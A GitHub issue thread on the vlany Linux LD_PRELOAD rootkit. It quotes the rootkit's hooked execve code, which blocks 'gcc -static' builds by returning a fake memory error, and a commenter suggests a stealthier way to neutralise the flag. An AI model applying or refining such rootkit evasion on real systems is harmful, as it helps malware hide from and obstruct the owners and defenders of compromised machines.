mempodippy / vlany

Linux LD_PRELOAD rootkit (x86 and x86_64 architectures)
GNU General Public License v3.0
935 stars 193 forks source link

vlany/symbols/exec/execve.c #19

Closed 0xAF closed 7 years ago

0xAF commented 7 years ago

I have a copy of your earlier work (as it seems) and in the execve.c file, at the end you have:

            if(!strcmp(argv[i], "-static")) // trying to statically compile a binary.. eww
            {
                // This works and removes the -static flag from the gcc execution but for some reason gcc throws a "not found error" with an empty string
                // printf("gcc -static flag detected. overwriting -static flag\n");
                // strncpy(argv[i], "", strlen(argv[i]));
                // printf("-static flag overwritten\n");
                // For now, let's just return a kernel memory error
                // Sigh...

                errno = ENOMEM;
                return -1;
            }

I think GCC returns error, because it gets it's argument/option/parameter which is empty now. And when it parses it, the parser does not recognize it as a option, starting with '-', so it decides it's a file to compile. But empty filename is "not found". Just a wild guess... try to replace it with some pointless option like '-Wvarargs' (which is by default anyway). I guess this should work...

(Sorry for not testing it myself, I was just reading what you've done there and I though to share my wild guess, but I do not have time or need to try it myself)

mempodippy commented 7 years ago

Don't know why I haven't done this before. I'll fix this in my local version and push my changes whenever I can test them all. Appreciated.

0xAF commented 7 years ago

You're welcome.